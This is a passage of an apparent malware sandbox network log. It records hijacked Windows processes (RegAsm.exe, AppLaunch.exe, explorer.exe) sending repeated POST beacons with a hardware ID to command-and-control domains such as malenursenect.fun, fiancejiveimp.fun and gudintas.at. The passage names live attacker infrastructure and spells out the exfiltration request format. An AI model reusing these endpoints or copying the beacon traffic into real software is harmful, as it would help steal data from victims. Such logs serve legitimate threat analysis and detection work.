{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DNwjtbBxqjWM6MUSw2Hmv3tfvANxklG208nyFSK86aac7pk1bumeae9v5vhvhQlDw2odJNkP0YjkpA5EtPIF6XMgvr2AP0eSncBXFXCOztiTIeja5gMx2PkobaNMr3nvfnRZMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f98193b0800-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:32.824157000 CEST	6545	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.3	49901	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:33.060827971 CEST	6545	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:33.061326981 CEST	6546	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:33.665677071 CEST	6549	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=mkajoq7sun746huqi45lqdt3it; expires=Sat, 27 Jan 2024 01:42:12 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:33 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eGgi5s3Ks9SMA8ME%2BR9cwOFZLa11eTh1WLK7H28Qu3wFIQ8E8lzYUSvKMTi6QjssnHNr9XH3X5GLFvGwr86JUo%2Fg%2FcjavjoCrGwZmooz21kx%2FKBD32MPULh7OiCKzZsoeXJgGw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f9bdebe3964-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:33.665739059 CEST	6549	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.3	49902	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:33.524224043 CEST	6547	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:33.524410009 CEST	6548	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:33.862191916 CEST	6551	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=jh86kq25p2fbg9a0nc5gpi4ihn; expires=Sat, 27 Jan 2024 01:42:12 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:33 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7tAP2uPgKBaHbxXoZyDJ%2BIS%2FVxvVfAD5IqHTkrVJCEX94w%2Fn0airB%2B7AACTfInXlwPphALMLRi2GitPAsn0v0f1usuTyM5KErapbAxHDUW674adpSZR3f8EA5q6rkfBH3dTWzw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f9ebe788232-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:33.862257004 CEST	6551	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.3	49903	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:33.888961077 CEST	6551	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:33.889365911 CEST	6552	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:34.999891043 CEST	6565	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=2vs80b6u9ucliug22j06si2don; expires=Sat, 27 Jan 2024 01:42:13 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:34 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QipV90GGvknb%2BNSPI%2FNI91K620sIIIj4%2FVI5CiYuQvXeGx04Kgb1dSaRKHZXKe6hfsxF7udpp2UR4gwMUSzf7YF6D74421O2Uuz4RlkTBWc0tWjhQMA9OinTvMr8zzHM8XcATw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039fa10d21391a-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:34.999914885 CEST	6565	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.3	49904	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:34.096066952 CEST	6552	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:34.096421957 CEST	6553	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:34.414865971 CEST	6555	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=cj1e9v0ecod9sf9hv150r83nv0; expires=Sat, 27 Jan 2024 01:42:13 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:34 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=npfApuoLDd6CtWFW6fLOMESypQ8mV2TWIz0XpbIuE4jEz03GTWS7K0yGt%2BTr3W5YoOff36Dpkzu9NAaaZWBXpol9L4yzmNAot6Vvi3HQHE4qlqk8nGPEwOTIHuWhCXm0EWokvQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039fa258b8826f-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:34.414895058 CEST	6555	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.3	49906	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:34.646718979 CEST	6561	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:34.647119999 CEST	6562	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:34.972995996 CEST	6564	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=nui9rl6dtbpjbmj9vv96rm8d2c; expires=Sat, 27 Jan 2024 01:42:13 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:34 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=l%2FmbQpi%2F%2B3nQPGwqf%2B5pSCd3ZhxJ%2FBUhXxV49dX9ffm3R1hSYAjsU8VsktDQo6vMkcJKSnPii3L4BdlrDWHZpbAT%2Bq6GSy4EvOrBIKxZur4nNw8P42v3TGAhIMrT14PQewaTqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039fa5cb4e8226-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:34.973027945 CEST	6564	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49810	186.182.55.44	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:54:30.331373930 CEST	1548	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ptxqbvvyee.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 197 Host: gudintas.at
Oct 3, 2023 09:54:30.331373930 CEST	1549	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 6c 31 b8 ab Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA -[k,vul1@C"Qe:0$-pKVaC\|(V5+9GkaY],0P82?:)jdzEl
Oct 3, 2023 09:54:31.266067982 CEST	1549	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:54:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.3	49907	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:35.187988043 CEST	6566	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:35.188502073 CEST	6567	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:35.514544010 CEST	6569	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=9oed8t2dhfj1t7gisuen6a3dj6; expires=Sat, 27 Jan 2024 01:42:14 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:35 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YIM%2BPrSfWD6Chwf4eGG%2BKuvYasOr79MzJiJhSbIZsL2Ds96bWv72RtIwiM97WadBbdker1DrKwFhMlbYWGG7hpcaK8SLkPXrIIrRBh2XmO5EnKufNVkC53KZjpbAR%2BDaRNrUtg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039fa92ef207df-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:35.514666080 CEST	6569	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.3	49908	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:35.251135111 CEST	6567	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:35.251636028 CEST	6568	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:37.255652905 CEST	6574	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=7070e3m330pjrvepp827dqrdsr; expires=Sat, 27 Jan 2024 01:42:15 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:36 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AikWZmJJZspL0Oxil3WozdD2WtA5QONLltQCXptOtabb4XhXw0hQb0djE1JIEmU4GGcsMSNPJZ257arrIOmuvCzn1tZFKsz9rCqCOEBgiXxbzZPgKSxgnsTnDyQLZze%2BPKjLqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039fa9991f2896-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:37.255717993 CEST	6574	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.3	49909	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:35.739805937 CEST	6570	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:35.740236998 CEST	6570	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:35.975625992 CEST	6572	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=fo763cnenqirad3i5nfmmf2n9i; expires=Sat, 27 Jan 2024 01:42:14 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:35 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Q7aaQk2xlBHKmqq0WKcBXqOaaJ6idXXbwlMmjHmvX6joyhSnQ2TD0XbWkrxcoWfGZR0gZJbmuHLuueWufeZqUNnM8197OX0%2B73CSFP24kk4iOohU8OLqWE5KtQ%2BYOx8JyuPYZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039fac9fc339a0-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:35.975692034 CEST	6572	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.3	49910	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:36.224134922 CEST	6572	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:36.224456072 CEST	6573	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:38.883364916 CEST	6577	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=lo6lvmcoi6ltb044tj14plj925; expires=Sat, 27 Jan 2024 01:42:17 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:38 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ai3N1NAR70%2B3ALvtL2F17xijzFvmK1OrJWKPuBBnqamYuWq6lEmkMxlIsi953OF6FAn95A8jVAStd8t0tOB%2F7iyqOyV%2BuoL4wDbD27YZmSxuIM%2FBS%2BvNXt7HOX7kEKmUBfFWgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039faf9c64396e-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:38.883426905 CEST	6577	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.3	49911	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
